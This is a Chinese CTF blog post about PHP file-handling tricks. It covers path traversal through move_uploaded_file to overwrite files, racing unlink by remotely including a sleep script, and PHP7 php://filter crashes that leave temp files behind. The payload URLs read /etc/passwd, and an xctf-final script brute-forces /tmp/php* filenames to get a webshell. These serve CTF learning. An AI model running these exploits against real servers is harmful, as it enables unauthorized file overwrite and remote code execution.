zoukankan      html  css  js  c++  java
  • 关于php文件操作的几个小trick

    记录一些ctf题目中近期遇到的一些文件操作trick,不定时更新

    1.move_uploaded_file

    一般用来保存上传的文件,第二个参数一般是最终保存的文件名,针对此函数,若在一定条件下$new_name完全可控,即可以穿越路径,可以对已经存在的文件进行覆盖。

    假设正常文件内容如下:

    <?php
    $filename=$_FILES['file']['name'];
    var_dump($filename);
    if(file_exists($filename)){
    echo "no!";
    }else{
    echo "yes!";
    move_uploaded_file($_FILES['file']['tmp_name'],$filename);
    }

    exp.py测试:

    import requests
    files=[('file',('xx/../over.php',"<?php phpinfo();?>"))]
    print requests.post(url="http://127.0.0.1/test/move.php",files=files).content

    假如此时已经有over.php,这种情况下xx/../over.php来覆盖是无效的,这里$filename获取到的还是over.php

     但是此时若代码如下:

    <?php
    $filename=$_POST['name'];
    var_dump($filename);
    if(file_exists($filename)){
    echo "no!";
    }else{
    echo "yes!";
    move_uploaded_file($_FILES['file']['tmp_name'],$filename);
    }

    传入的文件名是post传进来的,那么此时xx/../over.php即可达到覆盖的效果。

    那么over.php/.能不能进行覆盖呢?结果如下:

    exp.py

    import requests
    files=[('file',('xx/../over.php',"<?php phpinfo();?>"))]
    print requests.post(url="http://127.0.0.1/test/move.php",files=files,data={"name":"over.php/."}).content

    此时虽然绕过了file_exists()函数,此时判断该文件不存在,但是move保存文件时此时会判断文件存在,因此无法覆盖,所以只能用xx/../over.php来绕过,并且一般正常的上传文件流程里文件名都是通过$_FILES['file']['name']来获取的,基本没有直接$_POST文件名来上传。

    2.unlink函数+move_uploaded_file函数

     unlink函数用来删除文件,如果我们已经能够上传webshell,但是后面又有unlink,那么此时第一反应肯定是条件竞争

    首先当上传的文件名是 xx/. 或者 xx/../xx.php时 unlink时都会将/前面的视作目录,那么肯定会删除失败,

    但是move_uoload_file函数能够直接保存该上传的文件,前提当然是文件名是$_POST方式传入的,这两种文件名都能够生成新的文件。

     竞争方法:

    如果unlink之前存在include($a),并且$a可控,并且allow_url_fopen

    $a的值为vps 上的一个 php 脚本,这个脚本只需要 sleep 就行了,比如http://x.x.x.x/sleep.php

    sleep.php

    <?php
    sleep(9999);

    然后同时上传文件,并访问文件来getshell

    3.include()

    ①php://filter/string.strip_tags

    php7.0的bug

    include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

    使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell

    该方法仅适用于以下php7版本,php5并不存在该崩溃:

    • php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
    
    • php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
    
    • php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复

    ②.convert.quoted-printable-encode

    这个崩溃并不适用于include,require等函数,适用于file函数,file_get_contents函数,readfile函数

    • php7.0.0-7.0.32
    
    • php7.0.4-7.2.12
    
    • php<=5.6.38的版本

    5.6.39-5.6.9以内的版本并不存在这个崩溃

    <?php
    file_get_contents($_GET[a]);
    
    payload:
    index.php?a=php://filter/convert.quoted-printable-encode/resource=/etc/passwd

    在包含的同时要给此存在文件包含的php文件post一个文件,然后用脚本去爆破这个文件即可。

    放一个xctf final的exp:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    
    import requests
    import string
    
    charset = string.digits + string.letters
    
    host = "10.99.99.16"
    port = 80
    base_url = "http://%s:%d" % (host, port)
    
    
    def brute_force_tmp_files():
        for i in charset:
            for j in charset:
                for k in charset:
                    for l in charset:
                        for m in charset:
                            for n in charset:
                                filename = i + j + k + l + m + n
                                url = "%s/index.php?function=extract&file=/tmp/php%s" % (base_url, filename) #url根据实际情况改下参数就行
                                print url
                                try:
                                    response = requests.get(url)
                                    if 'wwwwwwwwwwwwww' in response.content: #可以利用burp 多线程上传文件  
                                        print "[+] Include success!"
                                        return True
                                except Exception as e:
                                    print e
        return False
    
    
    def main():
        brute_force_tmp_files()
    
    
    if __name__ == "__main__":
        main()

    ③自包含

    也就是自己包含自己,比如index.php?file=index.php,这样也会生成临时文件,但是这样不够稳定,影响服务器性能,推荐前面两种方法。

  • 相关阅读:
    现在分词和过去分词
    VMware Workstation Ubuntu 20.04 LTS无法连接网络问题
    Java中定时器Timer致命缺点(附学习方法)
    2020 年度编程语言排行榜出炉!C 语言称霸,Java 遭遇滑铁卢…….
    人工智能必备数学基础:线性代数基础(1)
    初学VBA
    何同学新视频火了!找到减少沉迷手机的最佳方法:附免费APP
    支付宝蚂蚁森林下线能量提醒功能 产品经理:被骂了、我改
    可抵御所有已知黑客攻击 中国组建天地一体化量子通信网络
    MYSQL数据库 增删改查基础语句
  • 原文地址:https://www.cnblogs.com/tr1ple/p/11301743.html
Copyright © 2011-2022 走看看